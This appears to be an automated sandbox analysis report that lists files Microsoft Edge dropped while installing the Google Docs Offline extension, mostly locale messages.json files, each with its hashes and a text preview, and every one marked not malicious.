MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
